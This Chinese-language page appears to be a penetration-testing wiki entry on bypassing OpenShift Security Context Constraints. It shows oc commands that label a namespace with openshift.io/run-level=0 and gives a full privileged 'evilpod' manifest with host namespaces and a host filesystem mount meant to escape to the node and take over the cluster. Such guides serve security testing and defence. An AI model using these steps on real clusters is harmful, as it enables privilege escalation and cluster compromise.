OpenShift - SCC bypass

本页面的原作者是 Guillaume

特权命名空间

默认情况下,SCC不适用于以下项目:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

如果您在这些命名空间之一部署Pod,将不会执行任何SCC,允许部署特权Pod或挂载主机文件系统。

命名空间标签

根据RedHat文档,有一种方法可以禁用Pod上的SCC应用程序。您将需要至少具备以下权限之一:

  • 在命名空间上创建Pod

  • 编辑命名空间并在该命名空间上创建Pod

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

特定标签 openshift.io/run-level 使用户能够绕过应用程序的 SCC。根据 RedHat 文档,当使用此标签时,在该命名空间中的所有 pod 上不会执行任何 SCC,有效地移除了任何限制。

添加标签

要在您的命名空间中添加标签:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

要通过一个YAML文件创建一个带有标签的命名空间:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

现在,在该命名空间上创建的所有新 pod 不应该有任何 SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

在没有 SCC 的情况下,对您的 pod 定义没有任何限制。这意味着可以轻松创建恶意 pod 以逃逸到主机系统。

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

现在,提升权限以访问主机系统并随后接管整个集群,获取 'cluster-admin' 权限变得更加容易。在以下页面中查找 Node-Post Exploitation 部分:

自定义标签

此外,根据目标设置,一些自定义标签 / 注释可能会以与先前攻击场景相同的方式使用。即使不是为此目的,标签也可以用于授予权限、限制或不限制特定资源。

尝试查找自定义标签,如果可以读取一些资源的话。以下是一些有趣的资源列表:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

列出所有特权命名空间

$ oc get project -o yaml | grep 'run-level' -b5

高级利用

在 OpenShift 中,正如之前演示的,拥有在带有 openshift.io/run-level 标签的命名空间中部署 pod 的权限可能导致对集群的简单接管。从集群设置的角度来看,这种功能无法被禁用,因为它是 OpenShift 设计的固有部分。

然而,诸如Open Policy Agent GateKeeper之类的缓解措施可以阻止用户设置此标签。

为了绕过 GateKeeper 的规则并设置此标签以执行集群接管,攻击者需要识别替代方法。

参考资料

Last updated